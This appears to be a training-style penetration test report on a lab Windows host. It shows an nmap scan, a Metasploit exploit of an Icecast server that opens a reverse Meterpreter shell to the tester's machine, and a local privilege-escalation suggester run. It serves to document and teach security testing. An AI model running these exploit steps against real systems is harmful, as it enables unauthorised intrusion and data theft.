

GoodSecurity Penetration Test Report

IgorAcevski@GoodSecurity.com

10/12/2021

1.0 High-Level Summary

GoodSecurity was tasked with performing an internal penetration test on GoodCorp's CEO, Hans Gruber.

An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Hans' computer and determine if it is at risk. GoodSecurity's overall objective was to exploit any vulnerable software and find the secret recipe file on Hans' computer, while reporting the findings back to GoodCorp.

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Hans' desktop. When performing the attacks, GoodSecurity was able to gain access to his machine and find the secret recipe file by exploiting two programs that had major vulnerabilities. The details of the attack can be found in the 'Findings' category.

2.0 Findings

Machine IP:

192.168.0.20

Hostname:

MSEDGEWIN10

Vulnerability Exploited:

Icecast streaming media server

Vulnerability Explanation:

IceCast is a buffer overflow where the attacker can take over the control of the server and write codes which can trigger buffer overflow and crash the server.

Severity:

This Is a very high severity

Proof of Concept:

Using nmap I scan all open ports from Hans' computer and find the icecast vulnerable.

```
root@kali:~# nmap -sV 192.168.0.20
Starting Nmap 7.80 ( https://nmap.org ) at 2021-10-12 10:53 PDT
Nmap scan report for 192.168.0.20
Host is up (0.020s latency).
Not shown: 994 closed ports
PORT      STATE SERVICE        VERSION
25/tcp    open  smtp           SLmail smtpd 5.5.0.4433
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server  Microsoft Terminal Services
8000/tcp  open  http           Icecast streaming media server
MAC Address: 00:15:5D:00:04:01 (Microsoft)
Service Info: Host: MSEDGEWIN10; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.86 seconds
root@kali:~#
```

Using Metasploit, I use an icecast exploit to gain access to Hans' computer and find information about the machine.

```
msf5 exploit(windows/http/icecast_header) > set RHOSTS 192.168.0.20
RHOSTS => 192.168.0.20
msf5 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 192.168.0.8:4444
[*] Sending stage (180291 bytes) to 192.168.0.20
[*] Meterpreter session 1 opened (192.168.0.8:4444 -> 192.168.0.20:60541) at 2021-10-12
    10:49:50 -0700

meterpreter > sysinfo
Computer      : MSEDGEWIN10
OS            : Windows 10 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain       : WORKGROUP
Logged On Users : 1
Meterpreter   : x86/windows
meterpreter > 
```

Gaining access to Hans' computer gave us one more option to look for more vulnerabilities using local exploit suggester.

```
meterpreter > run post/multi/recon/local_exploit_suggester

[*] 192.168.0.20 - Collecting local exploits for x86/windows...
[*] 192.168.0.20 - 30 exploit checks are being tried...
[+] 192.168.0.20 - exploit/windows/local/ikeext_service: The target appears to be vulnerable.
[+] 192.168.0.20 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
meterpreter > 
```

And I find two more vulnerabilities:

ikeext_service

ms16_075_reflection

3.0 Recommendations

The best recommended IceCast vulnerability is to fully update the IceCast server with the last update and monitor for new updates.

